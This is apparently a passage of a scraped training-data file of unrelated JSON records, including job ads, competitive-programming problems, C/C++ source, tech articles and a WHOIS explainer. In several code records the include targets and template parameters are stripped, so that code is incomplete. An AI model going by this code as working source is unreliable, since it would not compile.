deliver innovative work.\nOur office in New York is looking for a Senior Lead Designer to help lead, art direct and oversee our Spotify client in addition to possibly supporting a few other accounts. The design team is made up of art directors, illustrators, animators (2D + 3D), and video editors, which means each designer brings something different to every project. This role helps manage and guide the entire team alongside their Senior Lead peers.\nA Senior Lead Designer represents BYTE/DEPT® New York by maintaining the highest quality of work while leading their team of creatives. They help more junior team members grow and achieve their goals by staying in touch with their ambitions and providing them with projects that are a healthy challenge. The Senior Lead Designer is a problem solver, delegator and always looking for ways to work smarter, not harder. As a team, the work you create should be thoughtful and set a high bar of excellence due to your collaborative efforts with each other.\nThe base compensation for this full-time position will be between $90,000 - $110,000. Salary will commensurate with the person's appropriate work experience.\nJob Post Linkhttps://workingnotworking.com/unjobboard/11478-byte-dept-senior-lead-designer\n2D, Adobe Illustrator, Art Direction, Content Strategy, Creative Direction, Design, Design Strategy, Motion, Project Management, Type Design\nMarch 29, 2022\n- Retirement Plan\n- Generous Vacation\n- Parental Leave\n- Relocation Package\n- Medical Benefits\n- Sick Office Supplies", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "You are given a rectangular matrix of size $$$n \\times m$$$ consisting of integers from $$$1$$$ to $$$2 \\cdot 10^5$$$.\n\nIn one move, you can:\n\n- choose any element of the matrix and change its value to any integer between $$$1$$$ and $$$n \\cdot m$$$, inclusive;\n- take any column and shift it one cell up cyclically (see the example of such cyclic shift below).\n\nA cyclic shift is an operation such that you choose some $$$j$$$ ($$$1 \\le j \\le m$$$) and set $$$a_{1, j} := a_{2, j}, a_{2, j} := a_{3, j}, \\dots, a_{n, j} := a_{1, j}$$$ simultaneously.\n\nExample of cyclic shift of the first column\n\nYou want to perform the minimum number of moves to make this matrix look like this:\n\nIn other words, the goal is to obtain the matrix, where $$$a_{1, 1} = 1, a_{1, 2} = 2, \\dots, a_{1, m} = m, a_{2, 1} = m + 1, a_{2, 2} = m + 2, \\dots, a_{n, m} = n \\cdot m$$$ (i.e. $$$a_{i, j} = (i - 1) \\cdot m + j$$$) with the minimum number of moves performed.", "source": "cpt_codeforces", "language": "en", "token_count": 317, "token_count_with_eod": 318, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Mauri Alligator Shoes Green Yellow Monk Strap Godfather 3051\nIf you love exotic and unique style crocodile shoes and boots, there is no reason not wear Mauri shoes and boots. Mauri makes all of their fine alligator shoes and boots in Italy for the man who wants unique style. These hunter green and ice color shoes are made of pure alligator and ostrich leg skin in a plaiin toe style that will certainly have people asking you questions. Hand made in Italy.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 104, "token_count_with_eod": 105, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "The electric polarization of a periodic solid can be expressed as a Berry phase, and computed from the occupied Bloch state overlap matrix between neighboring wavevectors on a grid sampling the Brillouin zone. The usual discretized expression for the electric polarization leads to slow convergence with respect to the number of wavevectors on the grid. In this work, we improve the integration scheme, and obtain a better accuracy without the need for a finer sampling. Our technique uses multi-step overlap matrices instead of only nearest-neighbor overlap matrices, and results in higher precision for almost no additional computation cost. We test the method on AlAs, confirm the theoretical convergence rate, and observe that medium-order multi-step formulas provide superior accuracy without fluctuation problems.\n- Berry phase\n- Density-functional theory", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "This is a little atrical from the BBC. It gives a fairly simple run down on reconising spam and it is farily basic but might give a starting poin t for some.\nFull BBC report.\nAnatomy of a spam e-mail\nA daily chore of modern life for many is the morning trawl through a full inbox deleting spam email. But just where does it all come from and why do spammers use bizarre text, names and images in their emails?\nTo the expert eye a typical spam is laden with clues to its origin. Click on the links below to find out more\n\"Iverson Vernie\": An implausible name that sounds human to computers if not people. This helps to offset the \"spamminess\" of the message. Plus it is in capital letters which also helps to bust the scoring systems often used to spot spam.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 175, "token_count_with_eod": 176, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Senior Java Engineer\nA leader in advertising, based in Sherman Oaks, is building their software development team and are looking to add a Senior Level Java Engineer to their small, tight knit team. Specifically, they are looking to add an expert Java master with experience in Spring, Hibernate, Restful Web Services, API, and MySQL. Experience with Big Data tools are a plus.\nThere are plenty of benefits to this opportunity. This opportunity is ground floor with a small company who will only be growing over the coming years, you will enjoy perks like full and comprehensive benefits, generous paid vacation, 401(k) with a matching, a relaxed and casual work environment and flexible scheduling, and a gym membership.\nRequired Skills & Experience\n- Minimum 8 years in Java software engineering\n- Big Data tools (Hadoop, MapReduce, Kafka)\n- Database experience (Oracle, MySQL, SQL Server)\n- Agile methodology\n- Continous integration\n- Unit Testing\nBenefits & Perks\n- Comprehensive benefit package including health, vision, and dental\n- 401k with a match\n- Generous PTO\n- Unlimited growth opportunity\n- Flexible schedule\n- Casual work environment\n- Startup culture!", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "#pragma once\n\n#include \n#include \n\nstruct nullopt_t {};\ninline constexpr nullopt_t nullopt{};\n\nstruct in_place_t {};\ninline constexpr in_place_t in_place{};\n\nnamespace detail {\n\ntemplate \nconcept Constructible = std::is_constructible_v;\n\ntemplate \nconcept TriviallyDestructible = std::is_trivially_destructible_v;\n\ntemplate \nconcept TriviallyCopyable = std::is_trivially_copyable_v;\n\ntemplate \nconcept CopyConstructible = std::is_copy_constructible_v;\n\ntemplate \nconcept MoveConstructible = std::is_move_constructible_v;\n\ntemplate \nconcept CopyAssignable = std::is_copy_assignable_v;\n\ntemplate \nconcept MoveAssignable = std::is_move_assignable_v;\n\nstruct dummy_t {};\n\ntemplate \nstruct destructor_optional_base {\n\n bool active{false};\n union {\n dummy_t dummy;\n T value;\n };\n\n constexpr destructor_optional_base() noexcept : dummy(dummy_t()) {}\n\n template requires Constructible\n constexpr destructor_optional_base(in_place_t, Args... args) noexcept(std::is_nothrow_constructible_v)\n : active{true}, value(std::forward(args)...) {}\n\n constexpr destructor_optional_base(const T& value_) noexcept\n : active{true}, value(value_) {}\n\n constexpr destructor_optional_base(T&& value_) noexcept\n : active{true}, value(std::move(value_)) {}\n\n ~destructor_optional_base() noexcept(std::is_nothrow_destructible_v) {\n reset();\n }\n\n void reset() noexcept(std::is_nothrow_destructible_v) {\n if (active) {\n value.~T();\n active = false;\n }\n }\n};\n\ntemplate \nstruct destructor_optional_base {\n\n bool active{false};\n union {\n detail::dummy_t dummy;\n T value;\n };\n\n constexpr destructor_optional_base() noexcept : dummy(dummy_t()) {}\n\n template requires Constructible\n constexpr destructor_optional_base(in_place_t, Args... args) noexcept(std::is_nothrow_constructible_v)\n : active{true}, value(std::forward(args)...) {}\n\n constexpr destructor_optional_base(const T& value_) noexcept\n : active{true}, value(value_) {}\n\n constexpr destructor_optional_base(T&& value_) noexcept\n : active{true}, value(std::move(value_)) {}\n\n ~destructor_optional_base() noexcept = default;\n\n constexpr void reset() noexcept {\n active = false;\n }\n};\n\ntemplate \nstruct copy_optional_base : destructor_optional_base> {\n using base = destructor_optional_base>;\n using base::base;\n\n constexpr copy_optional_base() noexcept = default;\n\n constexpr copy_optional_base(const copy_optional_base&) noexcept requires(TriviallyCopyable) = default;\n constexpr copy_optional_base(copy_optional_base&&) noexcept requires(TriviallyCopyable) = default;\n constexpr copy_optional_base& operator=(const copy_optional_base&) noexcept requires(TriviallyCopyable) = default;\n constexpr copy_optional_base& operator=(copy_optional_base&&) noexcept requires(TriviallyCopyable) = default;\n\n constexpr copy_optional_base(const copy_optional_base& other) noexcept(std::is_nothrow_copy_constructible_v) requires(!TriviallyCopyable) {\n this->active = other.active;\n if (other.active) {\n new (&(this->value)) T(other.value);\n }\n }\n\n constexpr copy_optional_base(copy_optional_base&& other) noexcept(std::is_nothrow_move_constructible_v) requires(!TriviallyCopyable) {\n this->active = other.active;\n if (other.active) {\n new (&(this->value)) T(std::move(other.value));\n }\n }\n\n constexpr copy_optional_base& operator=(const copy_optional_base& other) noexcept(std::is_nothrow_copy_assignable_v) requires(!TriviallyCopyable) {\n if (this != &other) {\n if (this->active) {\n if (other.active) {\n this->value = other.value;\n } else {\n this->reset();\n this->dummy = dummy_t();\n }\n } else if (other.active) {\n new (&(this->value)) T(other.value);\n }\n this->active = other.active;\n }\n return *this;\n }\n\n constexpr copy_optional_base& operator=(copy_optional_base&& other) noexcept(std::is_nothrow_move_assignable_v) requires(!TriviallyCopyable) {\n if (this != &other) {\n if (this->active) {\n if (other.active) {\n this->value = std::move(other.value);\n } else {\n this->reset();\n this->dummy = dummy_t();\n }\n } else if (other.active) {\n new (&(this->value)) T(std::move(other.value));\n }\n this->active = other.active;\n }\n return *this;\n }\n};\n\n} // namespace detail\n\ntemplate \nclass optional : detail::copy_optional_base {\n using base = detail::copy_optional_base;\n using base::base;\n\npublic:\n constexpr optional() noexcept = default;\n constexpr optional(const optional&) noexcept(std::is_nothrow_copy_constructible_v) requires(detail::CopyConstructible) = default;\n constexpr optional(optional&&) noexcept(std::is_nothrow_move_constructible_v) requires(detail::MoveConstructible) = default;\n constexpr optional& operator=(const optional&) noexcept(std::is_nothrow_copy_assignable_v) requires(detail::CopyAssignable) = default;\n constexpr optional& operator=(optional&&) noexcept(std::is_nothrow_move_assignable_v) requires(detail::MoveAssignable) = default;\n constexpr optional(nullopt_t) noexcept : optional() {};\n\n constexpr optional& operator=(nullopt_t) noexcept {\n reset();\n return *this;\n }\n\n template requires detail::Constructible\n constexpr void emplace(Args... args) noexcept(std::is_nothrow_constructible_v) {\n reset();\n new (&(this->value)) T(std::forward(args)...);\n this->active = true;\n }\n\n bool has_value() const noexcept {\n return this->active;\n }\n\n constexpr T& operator*() noexcept {\n return this->value;\n }\n\n constexpr T const& operator*() const noexcept {\n return this->value;\n }\n\n constexpr T const* operator->() const noexcept {\n return &this->value;\n }\n\n constexpr T* operator->() noexcept {\n return &this->value;\n }\n\n constexpr explicit operator bool() const noexcept {\n return this->active;\n }\n\n constexpr void reset() noexcept {\n base::reset();\n }\n\n friend constexpr bool operator==(const optional& lhs, const optional& rhs) {\n if (bool(lhs) != bool(rhs)) {\n return false;\n }\n if (!lhs) {\n return true;\n }\n return lhs.value == rhs.value;\n }\n\n friend constexpr bool operator!=(const optional& lhs, const optional& rhs) {\n return !(lhs == rhs);\n }\n\n friend constexpr bool operator<(const optional& lhs, const optional& rhs) {\n if (!rhs) {\n return false;\n }\n if (!lhs) {\n return true;\n }\n return lhs.value < rhs.value;\n }\n\n friend constexpr bool operator<=(const optional& lhs, const optional& rhs) {\n return lhs < rhs || lhs == rhs;\n }\n\n friend constexpr bool operator>(const optional& lhs, const optional& rhs) {\n return !(lhs <= rhs);\n }\n\n friend constexpr bool operator>=(const optional& lhs, const optional& rhs) {\n return !(lhs < rhs);\n }\n};", "source": "cpt_stack_code", "language": "code", "token_count": 1957, "token_count_with_eod": 1958, "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "You want to perform the combo on your opponent in one popular fighting game. The combo is the string $$$s$$$ consisting of $$$n$$$ lowercase Latin letters. To perform the combo, you have to press all buttons in the order they appear in $$$s$$$. I.e. if $$$s=$$$\"abca\" then you have to press 'a', then 'b', 'c' and 'a' again.\n\nYou know that you will spend $$$m$$$ wrong tries to perform the combo and during the $$$i$$$-th try you will make a mistake right after $$$p_i$$$-th button ($$$1 \\le p_i < n$$$) (i.e. you will press first $$$p_i$$$ buttons right and start performing the combo from the beginning). It is guaranteed that during the $$$m+1$$$-th try you press all buttons right and finally perform the combo.\n\nI.e. if $$$s=$$$\"abca\", $$$m=2$$$ and $$$p = [1, 3]$$$ then the sequence of pressed buttons will be 'a' (here you're making a mistake and start performing the combo from the beginning), 'a', 'b', 'c', (here you're making a mistake and start performing the combo from the beginning), 'a' (note that at this point you will not perform the combo because of the mistake), 'b', 'c', 'a'.\n\nYour task is to calculate for each button (letter) the number of times you'll press it.\n\nYou have to answer $$$t$$$ independent test cases.", "source": "cpt_codeforces", "language": "en", "token_count": 327, "token_count_with_eod": 328, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "#include \"geminc.h\"\n#include \"gemprm.h\"\n\nvoid utf_dvctr ( int shift_x, int shift_y, unsigned char *ptr, int *zd,\n\t\t int *zt, int *zf, int *ipnt, int *jpnt, int *len,\n\t\t int *add, int *iret )\n/************************************************************************\n * utf_dvctr\t\t\t\t\t\t\t\t*\n *\t\t\t\t\t\t\t\t\t*\n * This function decodes the relative vector (C3) header in a UTF file.\t*\n *\t\t\t\t\t\t\t\t\t*\n * utf_dvctr ( shift_x, shift_y, ptr, zd, zt, zf, ipnt, jpnt, len, add,\t*\n *\t iret )\t\t\t\t\t\t\t*\n *\t\t\t\t\t\t\t\t\t*\n * Input parameters:\t\t\t\t\t\t\t*\n *\tshift_x\t\tint\t\tX shift factor\t\t\t*\n *\tshift_y\t\tint\t\tY shift factor\t\t\t*\n *\t*ptr\t\tunsigned char\tPosition in buffer\t\t*\n *\t\t\t\t\t\t\t\t\t*\n * Output parameters:\t\t\t\t\t\t\t*\n *\t*zd\t\tint\t\tZoom disable\t\t\t*\n *\t*zt\t\tint\t\tZoom threshold\t\t\t*\n *\t*zf\t\tint\t\tZoom factor\t\t\t*\n *\t*ipnt\t\tint\t\tI coordinate\t\t\t*\n *\t*jpnt\t\tint\t\tJ coordinate\t\t\t*\n *\t*len\t\tint\t\tNumber of words in this record\t*\n *\t*add\t\tint\t\tTotal # of bytes in this record\t*\n *\t*iret\t\tint\t\tReturn code\t\t\t*\n *\t\t\t\t\t\t\t\t\t*\n **\t\t\t\t\t\t\t\t\t*\n * Log:\t\t\t\t\t\t\t\t\t*\n * D. Keiser/GSC\t12/96\t\t\t\t\t\t*\n * M. Linda/GSC\t\t10/97\tCorrected the prologue format\t\t*\n ***********************************************************************/\n{\n/*---------------------------------------------------------------------*/\n *iret = 0;\n ptr += 1;\n\n/*\n** Decode zoom disable (bit 10 in the first word).\n*/\n *zd = (*ptr >> 5) & 0x01;\n\n/*\n** Decode zoom threshold (bit 11-12 in the first word).\n*/\n *zt = (*ptr >> 3) & 0x03;\n\n/*\n** Decode zoom factor (bit 13-15 in the first word).\n*/\n if ( ( ( *ptr & 0x20 ) != 32 ) || ( shift_x ) )\n\t*zf = 1;\n else\n\t*zf = (((*ptr & 0x07) + 1) + 1) * (((*ptr & 0x07) + 1) + 1);\n ptr += 1;\n\n/*\n** Decode I coordinate.\n*/\n *ipnt = ((*ptr << 8) + *(ptr + 1)) << shift_x;\n ptr += 2;\n\n/*\n** Decode J coordinate.\n*/\n *jpnt = ((*ptr << 8) + *(ptr + 1)) << shift_y;\n ptr += 2;\n\n/*\n** Decode length of record (# of words).\n*/\n *len = (*ptr << 8) + *(ptr + 1);\n *add = *len * 2 + 8;\n\n ptr += 2;\n\n}", "source": "cpt_stack_code", "language": "code", "token_count": 758, "token_count_with_eod": 759, "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "Yesterday, Happy Prime owner and engineer Jeremy Felt released Shortnotes, a plugin for writing notes from the WordPress editor. The intention is for users to create short pieces of content, such as that found on Twitter, Instagram, and similar social networks. However, it does not come with a front-end posting interface, at least not in version 1.0.\nThe plugin works just like the post and page editor. It should be straightforward for most users.\nWhile the Shortnotes plugin is relatively bare-bones for now, it serves as a foundation of something that could be more. Part of what makes social networks appealing is the ease of publishing quick content. Publishing notes through the plugin requires visiting the WordPress admin, clicking “Add New,” writing the content, publishing, and clicking a new link to view it on the front end. A quick-publishing interface either through a Dashboard widget or a front-end form would be a useful addition.\nNote post type in the block editor.\nSome new concepts that not all users may be familiar with are the “Reply to URL” and “Reply to name” fields. These are semantic fields for creating a note in reply to another post or person on the web. The plugin will automatically output this reply link on the front end.\nThe plugin integrates with the Webmention plugin. A Webmention is a standardized protocol for mentions and conversations across the web. The goal is a decentralized social “network” of sorts where everyone owns and controls their content. It is an alternative to what IndieWeb calls the “corporate” web in which large tech companies have control.\nWhen entering a Reply to URL, Shortnotes will automatically send that URL through the Webmentions plugin system. It will also parse URLs in the post content as webmentions if they exist.\nUsers may also notice that the note title field is missing. This is intentional. The plugin automatically generates titles. They are needed for the\nThe idea is for titles to not appear as part of the theme layout. Because most themes are not coded to check for post-type support before displaying them, there is a high chance that a user’s theme will output the auto-generated title on the front end. For now, that means editing a bit of theme code for those who do not want them to appear. Felt has an example of how he modified this for his site’s custom Twenty Twenty-One child theme. In the long run, as more themes begin supporting the upcoming site editor, users will be able to make this customization directly in the WordPress admin.\nWith a few tweaks like removing the title and some minor CSS adjustments, I was able to create a clean Notes archive page using the Genesis Block theme:\nModified notes archive.\nOne of my interests in checking this project out was diving into a real-world example of a plugin that limited which blocks could be used with the editor. The notes post type only allows the Paragraph, Image, and Gallery blocks. Again, the idea is to replicate the feel of what you can do on social networks. Overall, this feature worked as it should, limiting the notes to a subset of blocks.\nHowever, I ran across a bug with the block editor. All block patterns, regardless of what blocks they contained, appeared in the inserter. Clicking on one containing a disallowed block would not insert it into a post. However, the editor did add a pop-up note that it had. There is a GitHub issue for this bug that has seen little movement since it was opened in June 2020.\nFelt created a plugin to solve this called Unregister Broken Patterns. It removes any patterns that contain blocks that a post type does not support. At best, it is a temporary measure and needs to be addressed in WordPress.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 765, "token_count_with_eod": 766, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Hi everyone! I have recently applied for a role at JPM. I checked my job status yesterday and it says submission status'withrew'. The thing is that I never withdrew my application as I am really interested in the role. Could that be a mistake or I was just rejected. I guess if I was rejected I would probably have a 'rejected' status!? Does anyone know what that means? Thanks in advance!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 85, "token_count_with_eod": 86, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Sun-EaterBack to Beasts Main > Sun-Eater\nReal Identity: Sun-Eater\nPowers/Skills: Solar Ingestion, Flight, and Survival in Space\nVoiced By: Not Applicable\nThe Sun-Eaters were originally conceived as weapon of mass destruction by a race of beings known as the Controllers. It acted as an artifical black hole and compressed a star to a point it went supernova. The resulting release in thermal energy would empower the Sun-Eater further. With these weapons, the Controllers could greater exact their pro-active agenda to stop evil across the universe. There are some Sun-Eaters that develop into a sentient lifeform. Like wild animals, they possess instinctual navigation and migratory patterns.\nSuperman once found an infant Sun-Eater lost and wandering in orbit near Jupiter. He took it with him to his Fortress of Solitude's intergalactic zoo and cared for it ever since. Superman grew rather attached to it, and vice-versa, like a pet and fed it miniature suns created with the Cosmic Anvil. The Sun-Eater lived in a special gravity pen that required cleaning from time to time. Superman hoped to one day release it back onto its species' migration routes out past the Oort Cloud. During the battle with Solaris, the Sun-Eater appeared and attacked the Tyrant Sun. However, Solaris killed the Sun-Eater.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 285, "token_count_with_eod": 286, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "/*\n// Copyright (c) 2017 Intel Corporation\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n*/\n\n///////////////////////////////////////////////////////////////////////////////////////////////////\n#pragma once\n#include \"api/CPP/simpler_nms.hpp\"\n#include \"primitive_inst.h\"\n\nnamespace cldnn\n{\n\ntemplate <>\nstruct typed_program_node : public typed_program_node_base\n{\n auto& cls_score() const { return get_dependency(0); }\n auto& bbox_pred() const { return get_dependency(1); }\n auto& image_info() const { return get_dependency(2); }\n};\n\nusing simpler_nms_node = typed_program_node;\n\ntemplate <>\nclass typed_primitive_inst : public typed_primitive_inst_base\n{\n using parent = typed_primitive_inst_base;\n\npublic:\n struct anchor\n {\n float start_x;\n float start_y;\n float end_x;\n float end_y;\n\n anchor()\n {\n start_x = start_y = end_x = end_y = 0.0f;\n }\n\n anchor(float s_x, float s_y, float e_x, float e_y)\n {\n start_x = s_x;\n start_y = s_y;\n end_x = e_x;\n end_y = e_y;\n }\n };\n\n // indices of the memory objects used by the layer\n enum input_index {\n cls_scores_index,\n bbox_pred_index,\n\t\timage_info_index\n };\n\n // indices of the image info parameters inside the image_info memory object (the object\n // is an integer array of these parameters)\n\tenum image_info_size_index {\n\t\timage_info_width_index = 0,\n\t\timage_info_height_index = 1,\n\t\timage_info_depth_index = 2\n\t};\n\n static layout calc_output_layout(simpler_nms_node const& node);\n static std::string to_string(simpler_nms_node const& node);\n\npublic: \n typed_primitive_inst(network_impl& network, simpler_nms_node const& desc);\n\n const std::vector& get_anchors() const { return _anchors; }\n\nprivate:\n std::vector _anchors;\n};\n\nusing simpler_nms_inst = typed_primitive_inst;\n\n}", "source": "cpt_stack_code", "language": "code", "token_count": 654, "token_count_with_eod": 655, "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "How to use the WHOIS output?\nThe WHOIS search is a powerful tool. It gives a lot of valuable information for your domain research. It contains the following information:\n- Allows you to determine if the given domain name is registered.\n- Shows who is the sponsoring registrar.\n- Provides information about the expiration of the domain name.\n- Shows the status of the domain name.\n- Gives a hint how to contact the current owner of the domain name.\nAllows you to determine if the given domain name is registered.\nWell, this one is pretty obvious. If the domain name is registered, then the WHOIS search for the particular name will return a full record for it. If there is no record, then the domain name is most likely available for registration.\nShows who is the sponsoring registrar.\nThe WHOIS search on our side for the most popular TLDs shows both the output from the TLD registrar, and from the Sponsoring Registrar. For example, Verisign is the TLD registry for .com domains, and many other registrars resell .com domain names on behalf of Verisign. These registrars are called Sponsoring Registrars, and they maintain WHOIS records for the names that are registered with them. The WHOIS output of the TLD registry shows who is the Sponsoring Registrar. Popular Sponsoring Registrars are Enom, GoDaddy, NameCheap, etc.\nProvides information about the expiration of the domain name.\nThere is a section in the WHOIS output, which usually lists the date and time when the domain name was registered, the current expiration date, and the last time the information or the status of the domain name were modified.\nShows the status of the domain name.\nThere is a designated field in the WHOIS record, which lists the current status of the domain name. An example purpose of the status is to determine if a given domain name is unlocked for transfer or is it being transferred at the moment. A full list of the possible statuses is available at:\nGives a hint how to contact the current owner of the domain name.\nThe WHOIS records of the domain names used to contain sections with contact details for the Registrant, Administrative, Technical, and Billing contacts for the domain name. This information was very useful when searching about who is the actual domain owner. However, after the General Data Protection Regulation (GDPR) legislation of the European Union was introduced, all the registrars started to hide the personal information from the WHOIS records. The registrars still hold these records on their side, but the access to them is rather limited. It is available only to the other registrars. However, sometimes there are still some crumbs left in the WHOIS records of the Sponsoring Registrar, allowing the users to contact the domain owner. These specific records sometimes contain an email address entry, which forwards to the actual email address of the domain owner. As an alternative, the email entry may lead to a form that forwards to the owner. For example, the domain name of our web dig interface for DNS lookups website is SlimDig.com. The WHOIS lookup for this domain name in the Sponsoring Registrar Enom lists the following entry for the Registrant contact:\nRegistrant Email: https://tieredaccess.com/contact/9d81b8ed-78bd-43ef-909d-0610bc5353d5\nThe above address leads to an email form. If you use it to send a message, then it is going to be forwarded to the actual hidden Registrant contact.\nFor more information about the WHOIS query and response protocol, you can check the Wikipedia page at https://en.wikipedia.org/wiki/WHOIS.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 780, "token_count_with_eod": 781, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "A binary matrix is called good if every even length square sub-matrix has an odd number of ones.\n\nGiven a binary matrix $$$a$$$ consisting of $$$n$$$ rows and $$$m$$$ columns, determine the minimum number of cells you need to change to make it good, or report that there is no way to make it good at all.\n\nAll the terms above have their usual meanings — refer to the Notes section for their formal definitions.", "source": "cpt_codeforces", "language": "en", "token_count": 91, "token_count_with_eod": 92, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Fedya and Sasha are friends, that's why Sasha knows everything about Fedya.\n\nFedya keeps his patience in an infinitely large bowl. But, unlike the bowl, Fedya's patience isn't infinite, that is why let $$$v$$$ be the number of liters of Fedya's patience, and, as soon as $$$v$$$ becomes equal to $$$0$$$, the bowl will burst immediately. There is one tap in the bowl which pumps $$$s$$$ liters of patience per second. Notice that $$$s$$$ can be negative, in that case, the tap pumps out the patience. Sasha can do different things, so he is able to change the tap's speed. All actions that Sasha does can be represented as $$$q$$$ queries. There are three types of queries:\n\n1. \"1 t s\"  — add a new event, means that starting from the $$$t$$$-th second the tap's speed will be equal to $$$s$$$.\n2. \"2 t\"  — delete the event which happens at the $$$t$$$-th second. It is guaranteed that such event exists.\n3. \"3 l r v\" — Sasha wonders: if you take all the events for which $$$l \\le t \\le r$$$ and simulate changes of Fedya's patience from the very beginning of the $$$l$$$-th second till the very beginning of the $$$r$$$-th second inclusive (the initial volume of patience, at the beginning of the $$$l$$$-th second, equals to $$$v$$$ liters) then when will be the moment when the bowl will burst. If that does not happen, then the answer will be $$$-1$$$.\n\nSince Sasha does not want to check what will happen when Fedya's patience ends, and he has already come up with the queries, he is asking you to help him and find the answer for each query of the $$$3$$$-rd type.\n\nIt is guaranteed that at any moment of time, there won't be two events which happen at the same second.", "source": "cpt_codeforces", "language": "en", "token_count": 422, "token_count_with_eod": 423, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "#pragma once\n\n#include \n#include \n#include \n#include \n#include \n\nnamespace GNodeJS {\n\nnamespace Cairo {\n\n\nclass TextCluster: public Nan::ObjectWrap {\n public:\n static Nan::Persistent constructorTemplate;\n static Nan::Persistent constructor;\n static void Initialize(Nan::ADDON_REGISTER_FUNCTION_ARGS_TYPE target);\n static NAN_METHOD(New);\n static NAN_GETTER(GetLength);\n static NAN_GETTER(GetFlags);\n static NAN_INDEX_GETTER(IndexGetter);\n\n TextCluster(cairo_text_cluster_t* data, int64_t length, cairo_text_cluster_flags_t flags);\n ~TextCluster();\n\n cairo_text_cluster_t* _data;\n int64_t _length;\n cairo_text_cluster_flags_t _flags;\n};\n\n\n}; // Cairo\n\n}; // GNodeJS", "source": "cpt_stack_code", "language": "code", "token_count": 211, "token_count_with_eod": 212, "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "#include \n#include \"timer.h\"\n\nvoid RemoveDispatchSource(void *t)\n{\n dispatch_source_t mySource = *(dispatch_source_t *)t;\n dispatch_source_cancel(mySource);\n dispatch_release(mySource);\n}\n\nstatic dispatch_source_t CreateDispatchTimer(uint64_t interval,\n uint64_t leeway,\n dispatch_queue_t queue,\n dispatch_block_t block)\n{\n dispatch_source_t timer = dispatch_source_create(DISPATCH_SOURCE_TYPE_TIMER,\n 0, 0, queue);\n if (timer)\n {\n dispatch_source_set_timer(timer, dispatch_time(DISPATCH_TIME_NOW, interval), interval, leeway);\n dispatch_source_set_event_handler(timer, block);\n dispatch_resume(timer);\n }\n return timer;\n}\n\nstatic dispatch_source_t at;\n\nstatic void *MyStoreTimer(dispatch_source_t aTimer)\n{\n at = aTimer;\n return &at;\n}\n\nvoid *MyCreateTimer(periodic_task_t MyPeriodicTask, uint64_t interval)\n{\n dispatch_source_t aTimer = CreateDispatchTimer(interval,\n (1ull * NSEC_PER_SEC)/100,\n dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0),\n ^{ (*MyPeriodicTask)(); });\n \n // Store it somewhere for later use.\n if (aTimer)\n {\n return MyStoreTimer(aTimer);\n }\n\n return NULL;\n}", "source": "cpt_stack_code", "language": "code", "token_count": 333, "token_count_with_eod": 334, "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "If you put x=y in the given equation it would make no change to the equation as y will take place of x only, Thus what you get will be\nwhich is same as your given equation.\nFor finding a solution to any question the logic is to convert the question into general (predefined forms) which we have already learned.\nThe asked limit looks alot similar to the formula :\nSo, for converting the above format in this predefined format we put x+1=y\nSo we can write,\nHere a=1, n=5 so the solution is", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 117, "token_count_with_eod": 118, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "You are given two even integers $$$n$$$ and $$$m$$$. Your task is to find any binary matrix $$$a$$$ with $$$n$$$ rows and $$$m$$$ columns where every cell $$$(i,j)$$$ has exactly two neighbours with a different value than $$$a_{i,j}$$$.\n\nTwo cells in the matrix are considered neighbours if and only if they share a side. More formally, the neighbours of cell $$$(x,y)$$$ are: $$$(x-1,y)$$$, $$$(x,y+1)$$$, $$$(x+1,y)$$$ and $$$(x,y-1)$$$.\n\nIt can be proven that under the given constraints, an answer always exists.", "source": "cpt_codeforces", "language": "en", "token_count": 146, "token_count_with_eod": 147, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "SharePoint workflows are really powerful – but debugging any workflow can be a very challenging exercise. You, obviously, have to drive through the process pushing an item one step to the next. That can be difficult if there are mandatory delays, retries, etc. Most of those things are just painful but generally speaking pretty solvable. However, there are some things in workflow that are really hard to get to. I ran into another situation with workflow that was hard to find.\nWhen we were doing some stress testing we managed to break one of my workflows. After some careful work we realized that it happened anytime the workflow got two events at the same time. The second event would disappear. Poof. It just wouldn’t get handled at all. The nastiness of this is that if the second event was a task SharePoint would have locked the task and so it was no longer possible to modify the task – and because of this the workflow would never be able to be moved to completion.\nI’m happy to say that the fix for this issue is in the August 2010 Cumulative update for Windows SharePoint Services 3.0. I tested it with some really abusive situations. In my validation test, I put the thread to sleep for 30 seconds after getting an event. I can say that the events are eventually delivered. However, I should caution that events aren’t always processed in the order that they came in. If I have three events, 1, 2, and 3 I’ve noticed that event 1 is processed then the workflow waits for the timer job and event 3 is processed and after the workflow goes back to sleep 